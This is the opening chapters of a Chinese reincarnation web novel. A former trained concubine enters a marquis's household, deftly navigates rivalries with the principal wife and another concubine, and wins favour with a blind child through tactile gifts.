《去母留子?妾为这天准备好久了》 第1章 妾的本分 浅琥珀色的浴汤下玉人、玉臂、乌发漂散……从水面上可窥见一二倩影。 哗的一声水声后,美人儿出水,白若凝脂、吹弹可破的肩背上水珠滑落,让上面的红痕多了几分诱惑。 这样的美人,这般的风情,无论谁见了,都得赞一声尤物。 柏芷兮自己都要感慨她这身老天爷的恩赐,只是可惜上一世她未曾珍惜。 她,柏芷兮,本名方芷兮,出身商贾之家,八岁时家中变故,父母双亡,几经辗转,她便被卖到了一个有很多姑娘的地方—— 揽月苑,专门教养瘦马的地方,里面最不缺的就是美人坯子。 她每日都要练习琴棋书画、身形舞姿和礼仪规矩,挨过打、受过罚、寻过死,好不容易熬到了及笄,只等着被哪个富贵人家买去。 做妾,做舞姬、乐女,或是派上其他见不得光的用场,就是她这种人的命运。 上一世,她深恨自己生了这一身好皮相,不然她不会被卖到了揽月苑,更不会沦为高门玩物。 选人之前,她刻意糟践自己,硬是染了一场大病,又拿出了自己偷着攒下的积蓄,为的就是嫁与一个叫做武凤之的贫寒书生。 贫寒人家的读书人清贵、没有铜臭气,嫁与这样的人才能证明她不慕权力、不羡富贵,不是那天生的狐媚子。 谁知她连武家的门都没进去,只做了外室,辛辛苦苦守得武凤之高中探花,却被他和他娘送去讨好上官。绝望之中,她了结了自己…… 这一世,她也认识了到揽月苑教习棋艺的武凤之,只是她想明白了,离他远远的。 她再没有做过任何折损容颜气色的事,上天恩赐了她这身好皮相,她辜负了才要遭报应。 这般世道,身负美貌却无家世护持,注定要被当做玩物争抢,那她便做一个富贵的玩物,阴谋诡计加身,吃喝玩乐不少…… 哪怕如烟火瞬逝、昙花一现,她都要过得好、活得尽兴才对。 于是,她等到了属于她的命运,她成了柏少府家的养女,作为媵妾,聘予定安侯府四公子为妾。 柏家的嫡长女柏兰姵是四公子姜奕辰的正妻,自来体弱,入府十年未曾有子嗣,将来也难有指望。她与家里商量买了瘦马回来,将来好将子嗣记在她名下。 昨夜是她入府的头一晚,姜奕辰与她圆了房……从身上的红痕和今早的赏赐来看,姜奕辰对她很满意。 柏芷兮起身出浴,侍女秋寒服侍她擦身穿衣: “小娘其实还可以多睡一会儿,夫人说了,自家姐妹,敬茶就是走个过场,小娘服侍好四爷最重要。” 柏芷兮簪好头发,对着秋寒客气地道: “夫人体谅,是夫人的好意。我待夫人恭谨,是我的本分和忠心。我是什么出身?夫人越是待我如姐妹,我越是要有自知之明。” “秋寒,你是夫人的陪房,说起来比我跟夫人的缘分深得多,以后还要你多提点。” 宠妾的娇纵和气焰,柏芷兮自是知道的。 只是她在揽月苑那种地方长大,还尝了两世的冷暖,更加懂得眼下最紧要的是立足。 昨日之前,她这个柏家养女只跟柏兰姵见过一面,她们之间何尝有一丝姐妹之情。 论交情,论脸面,论功劳和苦劳,眼下她的确连秋寒这样的陪嫁侍女都比不上。 没错,她是来帮柏兰姵稳固地位的,可柏兰姵同样会堤防她这个美貌的妾室,把秋寒给她,何尝不是为了监视她。 秋寒心里很是受用,声音都软和了许多: “小娘客气了,只要你为着夫人好,生下个一儿半女的,把一心居那位给压下去,保准谁也不敢计较你的过去。” 定安侯府占地颇广,大小院落坐落其中,一个院落便相当于一座独立的宅邸,由内巷相连。 定安侯姜定武与妻妾共育有四子一女,每一名子嗣都有一个大院落,当中又有若干个小院子。 姜奕辰和他的妻妾们住在西院儿,柏兰姵所居的院落叫做德善居,坐落在西院儿中间。 柏芷兮踏着清早的露水去了德善居,柏兰姵刚刚净了面,柏芷兮刚好给她梳髻。 柏兰姵的贴身侍女玉棋嘴上客气,眼中却尽是被抢了差事的不满: “还是让奴婢来吧,小娘刚来,不知道夫人的喜好。夫人梳的髻,可跟小娘原先家里实兴的不一样。” 柏芷兮笑了笑,没有丝毫不满,温声细语的像是在讲述一件民间见闻: “玉棋姑娘有所不知,揽月苑不是那种地方,主事的萧大娘子家业败落前也是勋贵人家的娘子,她知道如何教导妾们。” “妾们学的这身本事,一为侍奉夫主,二为服侍主母。哪一个服侍不好,都是这身本事没学到家。” 容颜上,侍奉夫主,便要女为悦己者容,必须懂得通过各种手段展现自身的容颜优势。 服侍主母,最好能够帮助主母比这内院除了婆母和宗妇以外的任何一个女人都要高贵、典雅。 柏芷兮的发髻也是自己梳的,是她改良过的倾髻,有少妇的妩媚,又不显妖娆。 她本身是明艳照人的美人儿,这发髻便能压一压她的光彩,在内院不至于犯了规矩,惹人说闲话。 柏兰姵身子不好,精神不足,略有些虚胖,往日里用了头油,牡丹头梳得板板正正的,端庄却显得有些老态。 柏芷兮给柏兰姵梳了挽髻,发包和前额根据她的头型、脸型做了调整,头油上得极薄,几乎看不出用过,让她看起来多了几分舒朗和柔美。 柏芷兮一向聪慧,学每一种手艺时都会想用在不同身份的人身上该做怎样的调整。 柏兰姵今天二十有八,因为气色不好,平日里看起来像是三十几岁的样子。 经了柏芷兮的巧手,柏兰姵仿佛一下子年轻了十岁,而且这种改变很自然,一点都不刻意。 柏兰姵自己先就满意了,身为女子,谁不想容貌秀美、娇俏如花,可是身为正妻,刻意地装扮自己,又难免有狐媚、不庄重的嫌疑。 如此这般……恰如其分,正好,就像柏芷兮这个人一样。 一个月前柏家才收了这么个养女,柏兰姵不过是听母亲夸了柏芷兮几句,心里对她不是没有顾虑的。 只是梳了一回头,柏兰姵就对她改观不少:“没想到你还有这样的本事。” 玉棋收敛住眼中的惊艳,看似不忿地道:“不就是瘦马的狐媚本事么?有什么了不起的,也不怕被人嚼舌根子。” “住口!芷兮是我家里的妹妹,谁再敢嚼舌根子,自己找管家领罚。”柏兰姵色厉内荏地道。 柏芷兮不惊不怒,只是略带了些卑弱地道:“本事本无贵贱,单看用在什么人身上。夫人尊贵,妾愿以这身微末本事服侍夫人。” “是夫人和柏家让妾余生能有口干净饭吃,妾感激不尽,妾不会让夫人丢脸。” 柏兰姵抚了抚发间的步摇:“你姓柏,便是自家姐妹。这些小事不必劳烦你,你要尽本分,就该想想什么才是你真正应该做的。” “府中小娘多以姓相称,只是你要避着我的姓,以后就叫你芷小娘吧。这么叫也好听……就是让一心居那位听到了,恐怕又要吃味了。” 第2章 敬茶,替她树敌 敬茶在正厅,柏芷兮先过去准备,路上她回想着刚刚柏兰姵和玉棋唱的这出戏。 她的谦卑和服侍,柏兰姵很受用,可她们主仆依旧一个唱红脸、一个唱白脸地敲打她。 真把她当柏家人,她为何还要避着柏字?就是宫里的娘娘,也是避名不避姓的。 还有芷小娘,听起来婀娜多姿、袅袅婷婷…… 这侯府里的人怕是每叫她一回,都要在心里把她的出身翻过来倒过去的念叨几遍。 好在她早就准备好了会被这样看待,此刻心里有九分多的警醒,失落尚不足一分。 这一世她选择入府,是因为她看透了。她这样的人从前学的便是内宅的生存规则,比起外面,至少眼下还是这府中的风水更适合她。 她要在这儿好好地活下去,待到羽翼丰盈,才能在外面找到叔父一家,弄清楚当年父母惨死之后,究竟是不是他们将她卖去了揽月苑。 她还要收拾了那曾经骗取了她真心和性命的武凤之,这一世他“救”了另一个瘦马,而再有半年他就又要是探花郎了…… 对柏兰姵和柏家人,她也念着他们的恩情,她一定会尽职尽责地报了这段恩。 要是有子嗣,就按他们说的给柏兰姵养着,好好享福。 她自己么,她都想好了,等年纪大点儿,她就自请出府,开一个面摊儿,置办一座小院儿,悠闲度过余生,对大家都好。 要是没能生下孩子,她也会帮助柏兰姵稳固地位,等到人老珠黄,她求个恩典,要一张放妾书,回乡开一间小食肆,安度余生。 到了正厅,姚小娘姚初蕊已经到了,身边还跟着五岁的庶长子姜士明和一个梳髻但仍作侍女打扮的女子。 姚初蕊生得明艳照人,身上有一种少妇才有的韵味,玉颈纤细而直挺,下巴始终微微高昂,彰显了她在西院儿不一样的地位。 柏芷兮一看便知这便是柏兰姵要她对付的人,她上前去先行了礼: “是姚姐姐和陶姐姐吧?妾见过两位姐姐和小公子,日后妾有做的不好的地方,还请多包容。” 姚初蕊不屑地哼了一声,她是定安侯已故原配夫人的娘家庶出侄女。 论出身,她姚初蕊给姜奕辰这个与爵位无缘的嫡四子做正室都行,还生下了姜奕辰乃至整个侯府唯一的下一代。 虽说姜士明先天眼盲,可这份独一无二,还是让他们母子享有了很高的地位。 姚初蕊根本没把这个瘦马出身的妾室看在眼里,还伸手把姜士明往身边拢了拢,像是不想沾上什么脏东西似的。 陶丝绣原是府中家生的婢女,因行事稳妥,早早地做了教引姜奕辰人事的通房。 陶丝绣并不受宠,甚至一年到头都见不到姜奕辰几面,这么多年了,还是个通房。 只是因为她有一手好绣活儿,还精通算学,把府里的绣庄打理得很好,日子过得不比姚初蕊这样的贵妾差。 陶丝绣侧身避开了柏芷兮的礼,还回了礼: “柏小娘客气了,奴婢就是年纪长些,会做些针线活儿,一月里有大半个月都窝在绣铺和绣庄里,不常回来。” “府里的人都叫奴婢陶姑娘,当不得柏小娘一句姐姐。” 府里的通房都被称为姑娘,不会因为年长、资历深还在现任侯夫人面前得脸,就占后进门的口头便宜。 这是个懂得明哲保身的人,还有一个能经常出府的好处,以后少不得要请她帮忙。 柏芷兮笑着点头,看向他们:“妾也当不得这一声柏小娘,以后可以叫妾芷小娘。” “芷小娘……”姜士明尽管看不见柏芷兮,还是依礼叫了一声。 姚初蕊却嗤笑了一声:“这是咱们四夫人让避的讳吧?什么柏家养女,自家妹妹都不护着,这是没把你当自己人啊。” “也是,揽月苑出来的瘦马,想遮也遮不住。不过她这回也是出了力的,让你一进门就做了妾室。” “陶姑娘干干净净的家生子,熬了十年,还是个通房。真好心,你就去跟你的好姐姐说说,升一升陶姑娘的位分。” 不说便是假好心,说了没办成,陶丝绣也可以怀疑是她故意没尽力。 柏芷兮装不知道姚初蕊在等着看好戏,谦卑地开了口: “妾的确是从揽月苑出来的,可妾已是良籍,入府前也验了身,没什么见不得人的。” “姚姐姐对陶姑娘的位分如此上心,想让妾去说几句话。可妾初来乍到、人微言轻,说了也没用。” “倒是姚姐姐身为贵妾,还诞育了子嗣,深得爷看重……真有心为陶姑娘说话,这么久了,为何不自己去跟爷说?” 她用目光向陶丝绣释放了友善,示意这么说不是针对她, “陶姑娘的这身本事已然胜过府中好多姐妹了,也不见得就在乎什么位分。” “要是陶姑娘愿意有空的时候指点一下妾的绣艺,让妾能绣出几件像样的东西,相信夫人也会明白陶姑娘对妾的教导之恩的。” 不是不帮,而是要换一种更符合身份的方式,还抬高了陶丝绣难以替代的优势。 陶丝绣笑了一下作为回应,柏芷兮说的这些,她本来就没什么意见。 抬了妾室,姜奕辰又不会宠着她,还不如现在担着差事,赏钱和底下的孝敬相当于三个妾室的月银。 要说她有哪里不高兴,那就是她没指望过姚初蕊替她说话,可也不想被拎出来竖靶子给人打。 “学什么绣艺?要学你就跟她学管账,学打理绣庄的本事,也帮她分担一下,岂不是更好?” 姚初蕊才不管陶丝绣是怎么想的,继续挑动着柏芷兮。 事成,分了陶丝绣的权和利。 不成,陶丝绣也要继续警惕柏芷兮分权,柏兰姵的这步棋刚进府就被防起来了! 谁知,柏芷兮抛出个软钉子: “姚姐姐也说妾是揽月苑出来的,妾只学过服侍夫主和主母,没学过这打理庶务的本事……还是踏实地学点手艺比较好。” “你……” 姚初蕊心口一堵,陶丝绣的差事是侯夫人给的,她们这些做妾室的主动染指,就是不对、不本分。 说到底,贵妾、良妾、贱妾都是妾,这一点她跟柏芷兮没有区别! 打绣庄的主意,柏芷兮一听就拒绝了,却是她姚初蕊提出来的,岂不是说她比这个瘦马妾室还不本分? 第3章进门带喜 姚初蕊缓了口气,笑了笑,“一个揽月苑出来的瘦马,能忍得住不对财帛、权利动心,好本事!” “不过,爷的性子我了解,你这样的人对他来说只是一时新鲜,他是不会真的对你动心的。” “姚姐姐,妾的出身在府里想必已经人尽皆知了。可是,爷、侯爷、侯夫人都没说什么,妾也顺利进了门、侍了寝。” 柏芷兮莞尔一笑,直勾勾地看着姚初蕊, “这说明他们对夫人和柏家都是很信任的,当然,还有一个道理,只是……妾怕说了,姚姐姐会生气。” 柏芷兮眼看着沉了脸的姚初蕊,特别气人地笑了一下: “一园子的花儿,除了当主的几株,其余的不过是些个玩意儿。赏花儿的愿意看就看几眼,不想看了,就换了。” “妾么,说到底也是个玩意儿,主君们都没把妾当回事儿,何必在乎呢。自然姚姐姐跟陶姑娘是不一样的,你们出身清白……妾只是在说自己。” “妾”既是自称,也可以泛指她们这些妾室……是不是只说了她自己,谁听不出来。 陶丝绣心里大赞柏芷兮是个妙人,她也不完全是个软柿子,对姚初蕊也早有不满,便笑了笑: “奴婢也一样,就是一个喜欢绣艺的玩意儿……唔,姚姐姐不一样,是贵妾,总之比咱们金贵些。” 这儿是正院,谁敢说自己不一样,也就是姚初蕊敢自诩身份不同。 老侯爷前后有两位夫人,如今的侯夫人是续弦,生下了包括姜奕辰在内的两子一女。 病逝的原配夫人生下了如今的侯府世子姜奕德,而姚初蕊是原配夫人的嫡出外甥女,也就是姜奕德的表妹。 老侯爷如今年事已高,说到底将来整个侯府都是姜奕德的,姚初蕊有这层关系在,确实做得了姜奕辰的正室。 而且她生下的姜士明,虽说天生眼盲,可好些个郎中都说了,将来是有可能治好复明的,更何况这可是整个侯府里唯一的孙辈…… 在后宅,姚初蕊的确有她自傲的资本,可她到底不如柏兰姵先机占尽。 柏兰姵是姜奕辰的正室夫人,不仅因为她先进门,更因为她的父亲柏大人是掌管山林、胡泊事务的少府。 这当中能给侯府行多少方便是可以想象的,而姜奕辰虽然不是世子,却是侯府的钱袋子。 他负责着侯府的所有庶务和明里暗里的生意,这当中是受了不少柏家的恩惠的…… 也就是说,柏兰姵再不得宠,她也有足够的靠山让她跟姜奕辰相敬如宾,不像姚初蕊这样只占着先侯夫人外甥女的名分。 说句现实点的,就算姜奕辰想跟姜奕德打好关系,多送上些实实在在的财帛帮他铺路,也比这点亲上加亲、敬着先嫡母的礼法上的虚名强。 至于子嗣,侯府里的几位小爷都还年轻,又都有妻有妾,再过几年必不会缺了子嗣,姜士明这头一份儿的地位维持不了多久。 柏兰姵特意等到柏芷兮说完才进来,她在上首的位子坐下,目光扫过众人: “芷妹妹刚进门,说话冲了些,慢慢教就好,怎么就吵起来了?这是咱们西院儿进喜的日子,都坐吧。” 姚初蕊边坐边冷笑了一下:“进喜?纳个妾就是喜了,妾也可以让家里送个庶妹过来随媵,妾说的是……真正血脉相连的庶妹。” 柏芷兮又被讥讽了,脸上却连一点多余的表情都没有,这不止是身为瘦马的修养。 她知道柏兰姵既然敢接她进府,就已经想好了如何应对这样的场面。 何况要是她没记错的话,就在这几日,姜奕辰身上的确发生了一件喜事,姚初蕊很快就会被打脸。 没想到,不用多等几日,“巴掌”就甩过来了。 柏兰姵笑了一下:“咱们爷今早刚去了府衙,领了市令的差事,从此就是官身了,姚妹妹难道不觉得这是喜事?” 市令,就是管理东西两市的官员,只有正八品,却是个实缺。 姜奕辰的财势和在商场上的狠辣素来令人忌惮,可身为世家公子,少不得要被人诟病沾了铜臭之气。 有了这个差事,以后就是顶着官身做生意了! 姚初蕊显然不知道这件事,为姜奕辰高兴之余,又不得不低头: “的确是件大喜事,芷小娘还真是个有福气的人呢,难怪柏家会收她做养女。” 整个侯府此前只有侯爷一人有实差,就连世子姜奕德都没有,姜奕辰这官儿再小也不能小觑,姚初蕊哪里敢触这种霉头。 柏兰姵当下便道:“是有福之人就好,行了,敬茶吧。” 秋寒端来茶水,柏芷兮先跪下向柏兰姵敬茶,再躬身向姚初蕊敬茶,接跟陶丝绣见了平礼,陶丝绣侧身避开了一半儿。 柏芷兮收了两个红封和一个绣工精美的荷包,再拿出自己准备的礼物给在场的人。 她给柏兰姵的是自己亲手做的便鞋,针脚细密,用了最细软丝绸。 给姚初蕊的是一支中规中矩的珠钗,是从柏家给的嫁妆里挑的,不过想来姚初蕊不会戴。 给陶丝绣的是她自己攒的插梳,用的是桃木、米粒大的珍珠和绒花,漂亮但不曾有违陶丝绣通房的身份。 陶丝绣见了,由衷地赞道:“芷小娘这攒珠的手艺真好,有机会奴婢拿去给侯夫人看看,也让芷小娘来帮帮奴婢。” “你是个有心的,你也是咱们西院儿的老人了,本来是该升一升你的位分了。只是如此这般,你总在绣庄过夜就不合适了,这……”柏兰姵为难地道。 陶丝绣无宠,但跟侯夫人走得近,还将府里绣庄、绣铺打理得井井有条。 一旦升了位份,绣庄是可能打理不成了,但怕是要分西院儿掌家之权了。 柏兰姵自然是不愿意的,只是这话不能由她说出口,最好由陶丝绣自己说。 陶丝绣微微一笑,主动回道:“夫人不必把这事儿放在心上,奴婢这辈子最喜欢的就是刺绣,您就成全奴婢吧。” 正说着,一旁一直默默地姜士明摸着手上的礼物,好奇地道:“芷小娘,你送我的是什么?” 第4章 失望 “回小公子的话,是图纸,这上面有小老虎、小兔子、猫、狗……背后还有刻字,小公子要是喜欢,可以让你小娘找人雕出来把玩儿。” 图纸是用锥子按照图形扎了孔的,眼盲的人摸了便能想象出是怎么回事。 姜士明的小脸上立刻有了笑容:“是给我的?我很喜欢,小娘,您让人为我做出来吧。” “这么麻烦,真有心送,就直接雕出来了,送什么图纸。”姚初蕊不满且不屑地道。 柏芷兮笑了一下,客气地解释道:“木材多少都有些气味,妾担心会冲了小公子平日里用的药。用什么木材,还得请姚姐姐亲自为他选一下。” 说到底就是小心谨慎,不想出了问题再被找麻烦。 柏兰姵和陶丝绣都暗笑柏芷兮聪明,唯独姚初蕊不顾姜士明的一脸渴望,恨不得当场教一教她什么是这西院儿的规矩。 “都在?这是怎么了?” 一道男声响起,刚领了差事的姜奕辰从门口进来,高大的身影遮挡住了门口的日光,投下一道欣长的身影。 姜奕辰五官英挺,带着一股与生俱来的清明冷凝,整个人更是散发着一种藏锋的锐气,让人想到一把随时可以出鞘的宝刀。 若非身为续弦所出的嫡次子,无缘世子之位,还管了侯府的钱袋子,恐怕早些年就在仕途上有所作为了。 他目光扫过屋里的四个女人和幼子,甚至未在柏芷兮脸上停留了一下,便看向了柏兰姵, “敬完茶了?日后你们和睦相处就好,都别在这儿杵着了……士明该开蒙了,初蕊,你该多放点心思在他身上。” “是妾身疏忽了。”姚初蕊面上从不会驳了姜奕辰的面子,不过还是不屑地白了柏芷兮一眼。 别看姜奕辰昨夜与柏芷兮圆了房,接受了这个柏家送进来的养女,可是从进门开始就没看过她一眼。 妻妾对姜奕辰来说不过是满足礼法、宗法和繁衍子嗣需要的容器,迄今为止,没有例外。 姚初蕊即便认为自己有那么点不同,也不得不承认这一点。 姚初蕊多少有些落寞,可是想到自己到底因为姜士明得到了更多的关注,又昂起了下巴,得胜了似的对着柏芷兮勾了下嘴角。 柏兰姵上前挡在了姚初蕊身前,转头笑对着姜奕辰道: “爷今日赴任可还顺利?刚刚妾身还和她们说,芷小娘身上有喜气,从把她定下开始,爷的前程也顺遂了。” “哦?算起来还真是如此,你和岳母的眼光一向不错,柏家的女儿也一向是好的。” 姜奕辰意味深长地道,眼锋在柏芷兮身上蜻蜓点水般地点了一下,随即又回到了柏兰姵身上。 寥寥几句话已经道明心意,他的岳父柏大人是少府,他究竟哪天授官上任是能算出来的,这喜气自然也是可以预先安排的。 不过他认可了柏兰姵和岳家的安排,认可了柏芷兮是柏家的女儿,其他人也就不要再提她从前的身世了。 这些话一锤定音,柏芷兮最后悬着的心落了下来,昨夜他们圆了房,可今后她以怎样的身份活在这府里,就靠他这句话了。 柏兰姵是当中最满意的,因为姜奕辰认可的不止是柏芷兮,更重要的是她和柏家。 柏兰姵趁势道:“爷这两日忙外面的事累着了,刚好芷妹妹推拿、束发的手艺甚好,不如这几日都让芷妹妹服侍你?” 姜奕辰不置可否,好在他终于还算认真地看向了柏芷兮,不可否认,柏芷兮长了一张动人心魄的脸,偏偏她身上有一种独特的清丽,宛如一件纤薄而朦胧的纱衣将她整个人笼罩了起来。 半遮半掩的,湮没了她美貌中的锋芒和张扬,使她整个人都柔和起来,一身曼妙,魅而不妖…… 这样的美貌对别的男子或许很有诱惑力,可是在他看来,她更像是一尊精致的白玉瓶,美则美矣,实则空洞,魂儿不知跑哪儿去了,也有可能原本就没有魂儿。 不过……看屋里几个女人看她的眼神儿各异、深浅不一,她大概还算有点儿意思。 柏兰姵和姚初蕊都是了解姜奕辰的,抬眼间就明白了大半。 姚初蕊脸庞上浮现出她特有的那种娇艳的愤怒,但到底没当面触姜奕辰的霉头,只挑眉无声地勾了勾嘴角,连气闷的时候都带了几分娇俏。 柏兰姵多少对柏芷兮有些失望,她原以为以柏芷兮的姿色和心思至少能迷住姜奕辰一段日子,说不定就有了子嗣了。 没想到只是引着他多看了一眼,但有兴趣总比没有强,她没有放弃,继续把注意力引到柏芷兮身上: “这是芷妹妹给我们姐妹的礼,除了姚妹妹,都是她亲手做的。爷看看,这手巧不巧?” 针黹女红、攒珠做钗,这手艺是够巧的,一点也不像揽月苑能养出来的……不过,再好有什么用?又没有他的份。 姜奕辰神情清冷,语气淡淡地道:“攒珠的手艺尚可,丝绣,回头拿给银楼里的老师傅看看。这木偶的暗刻设计倒是用了心思的,士明,可喜欢?” “喜欢,儿子最喜欢芷小娘了。” 姜士明扶着椅子向前了几步,小短腿颠了两下站定,一双眼睛空洞无神,却掩不住孩童笑容的灿烂、纯净,他仰着头解释着, “虎、兔、猫、狗……儿子知道这些字怎么写,可是芷小娘的木偶图纸上有它们的轮廓和纹路,都是凹凸不平的,儿子摸着就能知道它们是什么样的。” 图纸上凡是有纹路的地方都用针刺了孔,姜士明看不见,用手指触摸可以清晰的感觉到上面的轮廓和纹路,雕刻成木偶之后触感会更加清晰。 之前师父教他识字也用过以针刺字的方式,只是对事物的具体描述只能依靠言语,他从没见过这世上的一斑一豹,很难凭着言语想像…… 柏芷兮被姜士明话里的渴望感染,没忍住插话道: “木偶若是制成陶偶,当中可以在中间灌入热水,比拟体温,在孔洞处加入兽类的毛发、与事物味道相近的香料,能让小爷的感受更真实。” 这是富贵人家的孩童才玩儿得起的,在南安都也就是定安侯府这样的人家供得起一个孩童这样寓教于乐。 这东西没法拿到外面去赚银子,就是专门给姜士明设计的,是真的用了心的。 “芷小娘最好了,父亲,儿子最喜欢芷小娘。”姜士明欣喜若狂地道。 姜奕辰弯身捏了捏儿子胖乎而略显苍白的小脸蛋,忽然转过头来看向柏芷兮,“嗯”了一声,问出一句:“是用了心的,想要什么,赏你。” 第5章夫丧,子留,妾出 妾室进门都是按惯例有赏赐的,但姜奕辰很少轻易过问究竟赏了什么,难得亲口问柏芷兮要什么。 柏兰姵眼中有了笑意,看看姜奕辰,再看向柏芷兮,笑着道:“芷妹妹,想要什么都可以说,难得爷亲自开口,你可别矜持了。” 一个妾室,这种时候无非是要些钗环首饰,再或是借着方才的话要求继续给姜士明做东西,以便得到更多亲近姜奕辰的机会。 再要么便什么都不要,显示自己的的心里只有夫主,只求夫主得了空,多去自己的小院儿中坐坐。 陶丝绣抿嘴一笑,默默看着。姚初蕊掀唇无声哼笑,无聊地等着看意料之中的一幕发生。 柏芷兮心中闪过一丝犹豫,之后很快有了决定,她半低着头,带着殷殷期盼地说出了一个意料之外的要求: “夫君可否在妾的芷春居当中赐下一方地,搭盖一间小厨房?” 下厨房?怎么要了这么个赏赐? 定安侯府中,侯爷及四子一女各有院落,除了侯夫人和各房主母院内设了小厨房,其余饮食均有府中后厨供给,这些年一直服侍得甚是周到。 因此府中鲜少有人提出这样的要求,尤其是姜奕辰向来不重口腹之欲,弄一个小厨房,并不能争得更多的宠爱。 而且多一间小厨房,食材、余料就多一份往来出入,人手安排上也要多一份麻烦。 姜奕辰轻笑了一下,有些意外:“你刚进门,还不知道,府中膳食向来优容。算你嘴馋,夫人这里设了小厨房,你们姐妹一场,她定会照顾你。” 柏兰姵没想到她会提出这样的要求,连忙劝道: “你若想吃什么了,来我这儿便是了,正好能陪我说说话。再设一个小厨房,实无必要,你还是换一个心愿吧。” 姚初蕊笑了两声,笑柏芷兮没见识:“府中大厨房的厨子也都是咱们爷从江南带回来的,味道甚佳,没必要自己张罗。你从前见识少,以后就知道了。” “不,不……妾并非觉得府中吃食不好。只妾家里原先开过一家食肆,且妾喜吃辣食。”往事历历在目,柏芷兮心中泛起丝丝期冀。 府中膳食讲究甜鲜和咸鲜,几乎没有辛辣之物,要是能置一间小厨房,对她来说倒是方便,别人想吃这口了,也可以过去要几个菜尝尝。 “小厨房太麻烦,允许妾搭个灶台、能生火就行,采买、余料出入都从妾的月钱里扣……” 柏兰姵听了,笑了一下:“爷,既然芷妹妹就这么一个心愿,要不就答应了她吧?咱们总不至于连个嘴馋的丫头都养不起。” 柏芷兮感激地注视着柏兰姵,还要分神错开目光看向姜奕辰,一双明眸中水光莹莹闪动,活像一只刚刚钻出洞穴的小兔子。 姜奕辰原本想要答应了,可看到她这副样子,心里一时间起了坏心思,薄唇上下一碰道: “不准,内院少动明火,能少一处是一处。你还想要什么?眼下想不到,以后再说。” 柏芷兮的眸子一下子暗了下去,两边眼角向下一撇,要是她的耳朵能像兔子一样,此刻一定耷拉下去。 姜奕辰眼底不自觉地跃动起一丝笑意,柏兰姵敏锐地察觉道:“没事儿没事儿,想吃什么了,倒我这儿来做。倒是这个心愿,可得好好想想。” 这话是带着暗示的,姚初蕊往姜奕辰身边靠了靠,不屑地把柏芷兮从头到脚扫了一眼: “贪嘴,就去大厨房借灶去,借着一点口腹之欲,成天地往夫人这儿跑,想要借机见到爷不成?” “我……妾不吃了就是了。” 柏芷兮一瘪嘴,明明是挑不出一点错处的乖顺态度,偏偏就像脑袋上顶了一块牌子,上面分明写着“你没有就不想我有,哼”。 她心里是真的难过,没有小厨房可不止是少了几顿可口的饭菜,她亏大了。 “先照例赏了,这几日让丝绣带她在府里转转。” 姜奕辰眼底的光再次一跃,语气不自觉地和软了些,“今日不留饭,我与夫人要商量一下林场的事,你们各自回去。” “是。”柏芷兮和陶丝绣应了,福身行了礼就要退下。 姚初蕊没好气地瞥了柏兰姵一眼,牵起姜士明的小手,不甘地抬脚往外走。 几人刚刚跨过门槛的时候,就听到柏兰姵笑着对姜奕辰说:“爷,要不今晚还是去芷妹妹那儿吧?子息为重,又是新人进府,爷去陪陪她。” “正事要紧,林场今年又添了几片山林,位置特殊了些,恐怕要向岳丈大人请教。”姜奕辰谦逊而干练地道。 柏芷兮没有回头,暗暗松了口气,柏兰姵肯在人前唤她一声芷妹妹,再三为她说话,算是接纳了她了。 至于姜奕辰这个掌管侯府财库的四公子,顶着一张高门商贾的冷脸,她也能理解。 她在揽月苑长大,昨夜红烛帐暖,姜奕辰究竟对她是何感觉,她心里清楚,有些事情是骗不了人的。 冷言冷语,饭都不留,当着众人的面要与柏兰姵谈正事,何尝不是做给别人看,让众人先就认下了他没有被她这个瘦马妾室的美色所迷? 她不愁没有机会,也不急着要机会,既是没有选择的选择,她就只能在这条路上走下去。 她仰头看向高墙上映出光晕的日头,但愿她这个卑微的妾室这一世能平安度过,她要是能比姜奕辰活得长,讨好了主母,老来能够留子出府。 一间食肆,一座小院,一笔足够养老善终的银钱,再不受人摆布,能沐着这高墙之外的日头,了此余生…… “原想着爷对你还有几分兴趣,如今看来不过一时兴趣,你这一身好皮相是白长了,爷可不是那等只看容色而不计较出身、品行的人。” “夫人和柏家该失望了,指着你生个儿子,这下子恐怕连个蛋都下不来了。不过是仗着柏家的架势还能跟爷有几句话说,还以为自己无所不能呢。” 姚初蕊撒开了姜士明的小手,将他推给了乳母,下巴微昂,露出一抹似有似无的冷笑。 第6章谁敢说自己有福气 高门大户几代积累之下,产业多了,子孙便难免要行商贾之事。只是这些衍生出来的产业未必就在他们名下,甚至都未必在侯府的主支名下,并不至于让他们沦为商贾。 可是侯府这样的人家主要的产业还是田产和山林、湖泽之地的出息,柏大人身为少府,主管的便是山林、湖泽这一方天地,尤其他们所在的南安都城靠山、临海,柏家的作用就够大了。 如今的侯夫人徐氏,是定安侯姜定武的续弦夫人,也就是姜奕辰的生母,生有二子一女,侯府的世子姜奕德却为原配夫人姚氏所出。 这让她这个续弦夫人多少有些像是一个挂着钥匙的大丫鬟,忙碌一辈子,最后还是为世子和世子夫人做了嫁衣,就连她最年长的亲生儿子姜奕辰也早早地被安在了这打理侯府钱口袋的位子上,为这两夫妻做事。 年前世子夫人葛氏已经从徐氏手中接管了中馈,姜奕辰依旧打理着侯府的钱袋子,不是因为世子夫妇不想把这个钱袋子接过来,实在是因为世子姜奕德没有同母的亲兄弟,身边也没有足够得力的心腹罢了。 姜奕辰现在的处境也很尴尬,他在这个位子上做好了,将来也都是兄嫂姜奕德夫妇的,稍有懈怠,父亲姜定武又会责怪他私心过重。 这种时候,无论是要给侯府产业维系稳定的出息,还是他要把手伸向府外,置办自己的家业,或是去从市令这样的小官入仕,都少不得要依靠柏大人这个少府。 倒不是说姜奕辰要利用自己的岳丈做什么违反律例的事,只是有柏大人在,消息上定是灵通些的,凡事都能早做准备,而且有这么一个靠山在,外面的人想骗他、欺他多少都能有些忌惮。 因此,柏兰姵这正室的地位之稳固不仅在名分上,也是在实力上,因为柏家不仅能帮上定安侯府的忙,还能帮姜奕辰铺平将来的退路。 当年徐氏力主给儿子定下这门亲,何尝没有这份考量?她对柏兰姵这个儿媳也是十分的满意的,即便柏兰姵多年未诞下子嗣,也不影响她在四房和侯府中的地位。 姚初蕊生下的姜士明别说天生眼疾,不能视物,就算是个健全的孩子,也一样动摇不了柏兰姵的地位,尤其她本就是原配侯夫人姚氏的外甥女,出身也不错,这让她怎能不气? 姚初蕊见柏芷兮和陶丝绣都不说话,心气儿便又高了几分,继续道: “这女人啊,还是有个孩儿的好,什么时候爷心里都能想着孩儿,什么时候过来坐坐,都有说不完的话。” “尤其我们士明再无用,也还是侯府这一代的独苗,爷心里能不想着?不像有些人,就是没那个命,自己生不出来,养一个替自己生,可谁知道有没有这个命呢。” 